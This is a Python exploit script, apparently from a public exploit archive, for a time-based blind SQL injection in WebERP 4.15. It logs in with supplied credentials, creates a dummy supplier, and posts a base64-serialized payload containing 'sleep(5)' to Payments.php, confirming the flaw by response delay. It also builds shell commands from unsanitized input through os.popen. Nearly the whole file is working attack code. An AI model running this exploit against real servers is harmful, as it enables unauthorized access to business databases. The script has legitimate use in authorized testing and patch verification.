92 lines
No EOL
3.5 KiB
Python
Executable file
92 lines
No EOL
3.5 KiB
Python
Executable file
# Exploit Title: Blind SQL injection in WebERP.
|
|
# Date: June 10, 2019
|
|
# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
|
|
# Vendor Homepage: http://www.weberp.org/
|
|
# Version: 4.15
|
|
|
|
# A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then.
|
|
# After it, each element of the array is passed directly to the SQL query.
|
|
|
|
import requests
|
|
import base64
|
|
import os
|
|
import subprocess
|
|
from bs4 import BeautifulSoup
|
|
import re
|
|
import time
|
|
import sys
|
|
|
|
def generatePayload(PaidAmount="0",PaymentId="0"):
|
|
#THIS FUNCTION IS INSECURE BY DESIGN
|
|
ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount)
|
|
return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read()
|
|
|
|
def getCookies(ip, CompanyNameField, usr, pwd):
|
|
r = requests.get("http://" + ip + "/index.php")
|
|
s = BeautifulSoup(r.text, 'lxml')
|
|
m = re.search("FormID.*>", r.text)
|
|
FormID = m.group(0).split("\"")[2]
|
|
|
|
data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"}
|
|
r = requests.post("http://" + ip + "/index.php", data)
|
|
|
|
return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]}
|
|
|
|
|
|
def addSupplierID(name, cookies, proxies):
|
|
r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies)
|
|
s = BeautifulSoup(r.text, 'lxml')
|
|
m = re.search("FormID.*>", r.text)
|
|
FormID = m.group(0).split("\"")[2]
|
|
|
|
data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0",
|
|
"PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"}
|
|
|
|
requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies)
|
|
|
|
|
|
def runExploit(cookies, supplier_id, payload, proxies):
|
|
r = requests.get("http://" + ip + "/Payments.php", cookies=cookies)
|
|
s = BeautifulSoup(r.text, 'lxml')
|
|
m = re.search("FormID.*>", r.text)
|
|
FormID = m.group(0).split("\"")[2]
|
|
|
|
data = {"FormID":FormID,
|
|
"CommitBatch":"2",
|
|
"BankAccount":"1",
|
|
"DatePaid":"01/06/2019",
|
|
"PaidArray":payload}
|
|
|
|
requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
#proxies = {'http':'127.0.0.1:8080'}
|
|
proxies = {}
|
|
|
|
if len(sys.argv) != 6:
|
|
print '(+) usage: %s <target> <path> <login> <password> <order>' % sys.argv[0]
|
|
print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0]
|
|
print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1'
|
|
exit()
|
|
|
|
ip = sys.argv[1] + "/" + sys.argv[2]
|
|
|
|
#if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30=
|
|
#payload = generatePayload("0 where sleep(1)=1;-- -", "0")
|
|
|
|
payload = generatePayload("0", "' or sleep(5) and '1'='1")
|
|
|
|
#get cookies
|
|
cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
|
|
|
|
addSupplierID("GARUMPAGE", cookies, proxies)
|
|
|
|
t1 = time.time()
|
|
runExploit(cookies, "GARUMPAGE", payload, proxies)
|
|
t2 = time.time()
|
|
|
|
if (t2-t1>4):
|
|
print "Blind sqli is confirmed"
|
|
else:
|
|
print "Verify input data and try again" |